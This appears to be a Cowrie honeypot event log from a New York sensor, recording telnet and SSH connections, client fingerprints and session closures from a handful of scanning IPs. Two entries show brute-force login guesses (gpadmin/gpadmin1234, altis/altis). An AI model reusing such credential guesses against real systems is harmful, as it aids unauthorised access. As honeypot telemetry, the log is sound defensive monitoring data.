{"eventid":"cowrie.session.closed","duration":31.0915584564209,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:11:56.390524Z","src_ip":"152.53.125.71","session":"057c531cd040","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.53.125.71","src_port":39864,"dst_ip":"10.17.0.5","dst_port":23,"session":"0c2a41448ea9","protocol":"telnet","message":"New connection: 152.53.125.71:39864 (10.17.0.5:23) [session: 0c2a41448ea9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:11:56.395614Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.53.125.71","src_port":39866,"dst_ip":"10.17.0.5","dst_port":23,"session":"08d88b0efc23","protocol":"telnet","message":"New connection: 152.53.125.71:39866 (10.17.0.5:23) [session: 08d88b0efc23]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:11:56.542483Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.53.125.71","src_port":39882,"dst_ip":"10.17.0.5","dst_port":23,"session":"d39398b4e5dd","protocol":"telnet","message":"New connection: 152.53.125.71:39882 (10.17.0.5:23) [session: d39398b4e5dd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:11:56.624015Z"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:11:57.045174Z","src_ip":"45.78.194.242","session":"0516381876e1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"7.2","message":"Connection lost after 7.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:11:57.051836Z","src_ip":"45.78.194.242","session":"0516381876e1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.53.125.71","src_port":39888,"dst_ip":"10.17.0.5","dst_port":23,"session":"9d2cef8428b4","protocol":"telnet","message":"New connection: 152.53.125.71:39888 (10.17.0.5:23) [session: 9d2cef8428b4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:11:57.321426Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.53.125.71","src_port":39904,"dst_ip":"10.17.0.5","dst_port":23,"session":"0c4110a556e7","protocol":"telnet","message":"New connection: 152.53.125.71:39904 (10.17.0.5:23) [session: 0c4110a556e7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:11:57.338418Z"}
{"eventid":"cowrie.session.closed","duration":42.6046347618103,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:11:58.055524Z","src_ip":"159.203.13.64","session":"28d194529e52","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.000806093215942,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:11:58.259508Z","src_ip":"152.53.125.71","session":"8cb7c19d2901","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"186.13.24.118","src_port":55008,"dst_ip":"159.203.135.109","dst_port":22,"session":"84db8f10cd71","protocol":"ssh","message":"New connection: 186.13.24.118:55008 (159.203.135.109:22) [session: 84db8f10cd71]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:11:58.279832Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:11:58.285013Z","src_ip":"186.13.24.118","session":"84db8f10cd71","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.85034465789795,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:11:58.313145Z","src_ip":"152.53.125.71","session":"7e4cdc2ac37a","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:11:58.443667Z","src_ip":"186.13.24.118","session":"84db8f10cd71","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.53.125.71","src_port":39908,"dst_ip":"10.17.0.5","dst_port":23,"session":"8bd25fb60a29","protocol":"telnet","message":"New connection: 152.53.125.71:39908 (10.17.0.5:23) [session: 8bd25fb60a29]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:11:58.541623Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.53.125.71","src_port":39918,"dst_ip":"10.17.0.5","dst_port":23,"session":"feebd827b1bc","protocol":"telnet","message":"New connection: 152.53.125.71:39918 (10.17.0.5:23) [session: feebd827b1bc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:11:58.607737Z"}
{"eventid":"cowrie.session.closed","duration":39.22520470619202,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:11:58.722417Z","src_ip":"159.203.13.64","session":"e778d5341585","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.53.125.71","src_port":39934,"dst_ip":"10.17.0.5","dst_port":23,"session":"047a684328c8","protocol":"telnet","message":"New connection: 152.53.125.71:39934 (10.17.0.5:23) [session: 047a684328c8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:11:58.887368Z"}
{"eventid":"cowrie.login.failed","username":"gpadmin","password":"gpadmin1234","message":"login attempt [gpadmin/gpadmin1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:11:59.102339Z","src_ip":"186.13.24.118","session":"84db8f10cd71","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.492677688598633,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:11:59.130211Z","src_ip":"169.38.112.222","session":"f0c2243bb672","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.906068086624146,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:11:59.180546Z","src_ip":"152.53.125.71","session":"7d7f8ad9b096","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.53.125.71","src_port":39940,"dst_ip":"10.17.0.5","dst_port":23,"session":"b83792857931","protocol":"telnet","message":"New connection: 152.53.125.71:39940 (10.17.0.5:23) [session: b83792857931]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:11:59.387962Z"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:12:00.261622Z","src_ip":"186.13.24.118","session":"84db8f10cd71","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.53.125.71","src_port":39952,"dst_ip":"10.17.0.5","dst_port":23,"session":"b44a2d7d8ae3","protocol":"telnet","message":"New connection: 152.53.125.71:39952 (10.17.0.5:23) [session: b44a2d7d8ae3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:12:00.329431Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.53.125.71","src_port":39968,"dst_ip":"10.17.0.5","dst_port":23,"session":"ba322310478f","protocol":"telnet","message":"New connection: 152.53.125.71:39968 (10.17.0.5:23) [session: ba322310478f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:12:00.424015Z"}
{"eventid":"cowrie.session.closed","duration":30.3840274810791,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:12:01.206542Z","src_ip":"169.38.112.222","session":"0224552cffd1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.446184873580933,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:12:01.274495Z","src_ip":"152.53.125.71","session":"1eda43d5e81d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.13.64","src_port":39820,"dst_ip":"10.17.0.5","dst_port":23,"session":"63ca1a8e4a3c","protocol":"telnet","message":"New connection: 159.203.13.64:39820 (10.17.0.5:23) [session: 63ca1a8e4a3c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:12:02.219066Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.53.125.71","src_port":39976,"dst_ip":"10.17.0.5","dst_port":23,"session":"861e7756bfab","protocol":"telnet","message":"New connection: 152.53.125.71:39976 (10.17.0.5:23) [session: 861e7756bfab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:12:02.268965Z"}
{"eventid":"cowrie.session.closed","duration":31.087692975997925,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:12:02.325063Z","src_ip":"152.53.125.71","session":"f7df817fbe4c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.98388147354126,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:12:03.357821Z","src_ip":"152.53.125.71","session":"05c2b92d6357","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.53.125.71","src_port":39986,"dst_ip":"10.17.0.5","dst_port":23,"session":"b5f2f278c56a","protocol":"telnet","message":"New connection: 152.53.125.71:39986 (10.17.0.5:23) [session: b5f2f278c56a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:12:03.374655Z"}
{"eventid":"cowrie.session.connect","src_ip":"169.38.112.222","src_port":33628,"dst_ip":"10.17.0.5","dst_port":23,"session":"58feac71192e","protocol":"telnet","message":"New connection: 169.38.112.222:33628 (10.17.0.5:23) [session: 58feac71192e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:12:03.582454Z"}
{"eventid":"cowrie.session.closed","duration":30.80433702468872,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:12:04.208021Z","src_ip":"152.53.125.71","session":"b6165a349131","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"169.38.112.222","src_port":33644,"dst_ip":"10.17.0.5","dst_port":23,"session":"248e93658835","protocol":"telnet","message":"New connection: 169.38.112.222:33644 (10.17.0.5:23) [session: 248e93658835]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:12:04.570239Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.53.125.71","src_port":39992,"dst_ip":"10.17.0.5","dst_port":23,"session":"ccbcae4be010","protocol":"telnet","message":"New connection: 152.53.125.71:39992 (10.17.0.5:23) [session: ccbcae4be010]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:12:04.782175Z"}
{"eventid":"cowrie.session.closed","duration":30.755465984344482,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:12:07.098431Z","src_ip":"152.53.125.71","session":"7aa67b1dd75a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.178879022598267,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:12:07.106370Z","src_ip":"169.38.112.222","session":"a0d04ea9c5a5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.53.125.71","src_port":43444,"dst_ip":"10.17.0.5","dst_port":23,"session":"750e34446d0e","protocol":"telnet","message":"New connection: 152.53.125.71:43444 (10.17.0.5:23) [session: 750e34446d0e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:12:07.281943Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.53.125.71","src_port":43446,"dst_ip":"10.17.0.5","dst_port":23,"session":"c8dbc4ce2fdd","protocol":"telnet","message":"New connection: 152.53.125.71:43446 (10.17.0.5:23) [session: c8dbc4ce2fdd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:12:07.361155Z"}
{"eventid":"cowrie.session.closed","duration":30.866546392440796,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:12:07.410837Z","src_ip":"152.53.125.71","session":"9dfc0aedcc74","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":41.02795958518982,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:12:07.560252Z","src_ip":"159.203.13.64","session":"ca6b47eb0de8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.282336235046387,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:12:08.513840Z","src_ip":"152.53.125.71","session":"56ce0ece1ed4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.299328804016113,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:12:09.112900Z","src_ip":"169.38.112.222","session":"db8e8e448cb2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.53.125.71","src_port":43450,"dst_ip":"10.17.0.5","dst_port":23,"session":"e20d51b922ac","protocol":"telnet","message":"New connection: 152.53.125.71:43450 (10.17.0.5:23) [session: e20d51b922ac]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:12:09.475619Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.13.64","src_port":47456,"dst_ip":"10.17.0.5","dst_port":23,"session":"816ba3120b78","protocol":"telnet","message":"New connection: 159.203.13.64:47456 (10.17.0.5:23) [session: 816ba3120b78]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:12:11.107837Z"}
{"eventid":"cowrie.session.closed","duration":30.557841777801514,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:12:11.176017Z","src_ip":"152.53.125.71","session":"c8cc0d894381","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.53.125.71","src_port":43454,"dst_ip":"10.17.0.5","dst_port":23,"session":"67d189f77c27","protocol":"telnet","message":"New connection: 152.53.125.71:43454 (10.17.0.5:23) [session: 67d189f77c27]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:12:12.358373Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.53.125.71","src_port":43468,"dst_ip":"10.17.0.5","dst_port":23,"session":"7d104a629447","protocol":"telnet","message":"New connection: 152.53.125.71:43468 (10.17.0.5:23) [session: 7d104a629447]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:12:12.549571Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.13.64","src_port":47468,"dst_ip":"10.17.0.5","dst_port":23,"session":"3d46ef7187ec","protocol":"telnet","message":"New connection: 159.203.13.64:47468 (10.17.0.5:23) [session: 3d46ef7187ec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:12:12.646474Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":60390,"dst_ip":"159.203.135.109","dst_port":22,"session":"17ef91d31079","protocol":"ssh","message":"New connection: 159.203.92.129:60390 (159.203.135.109:22) [session: 17ef91d31079]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:12:13.305752Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:12:13.310928Z","src_ip":"159.203.92.129","session":"17ef91d31079","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:12:13.316110Z","src_ip":"159.203.92.129","session":"17ef91d31079","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"altis","password":"altis","message":"login attempt [altis/altis] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:12:13.331178Z","src_ip":"159.203.92.129","session":"17ef91d31079","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.53.125.71","src_port":43472,"dst_ip":"10.17.0.5","dst_port":23,"session":"b48f3dd62c48","protocol":"telnet","message":"New connection: 152.53.125.71:43472 (10.17.0.5:23) [session: b48f3dd62c48]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:12:13.428659Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.53.125.71","src_port":43482,"dst_ip":"10.17.0.5","dst_port":23,"session":"4db8f6d9cb95","protocol":"telnet","message":"New connection: 152.53.125.71:43482 (10.17.0.5:23) [session: 4db8f6d9cb95]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:12:13.907328Z"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:12:14.368060Z","src_ip":"159.203.92.129","session":"17ef91d31079","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.72678279876709,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:12:15.337384Z","src_ip":"152.53.125.71","session":"afe2af8ae3d0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.926509618759155,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:12:15.407156Z","src_ip":"152.53.125.71","session":"6835fc1a40cf","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.530222177505493,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:12:16.213728Z","src_ip":"169.38.112.222","session":"764b45573def","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.133521556854248,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:12:16.238084Z","src_ip":"169.38.112.222","session":"8071e3aae39c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.53.125.71","src_port":32788,"dst_ip":"10.17.0.5","dst_port":23,"session":"5b8a1a702718","protocol":"telnet","message":"New connection: 152.53.125.71:32788 (10.17.0.5:23) [session: 5b8a1a702718]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:12:16.367657Z"}
{"eventid":"cowrie.session.closed","duration":43.57389569282532,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:12:16.518788Z","src_ip":"159.203.13.64","session":"2f66e4707ed6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.13.64","src_port":47478,"dst_ip":"10.17.0.5","dst_port":23,"session":"1753b0e27538","protocol":"telnet","message":"New connection: 159.203.13.64:47478 (10.17.0.5:23) [session: 1753b0e27538]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:12:17.163971Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.53.125.71","src_port":32796,"dst_ip":"10.17.0.5","dst_port":23,"session":"8457803c999e","protocol":"telnet","message":"New connection: 152.53.125.71:32796 (10.17.0.5:23) [session: 8457803c999e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:12:17.324084Z"}
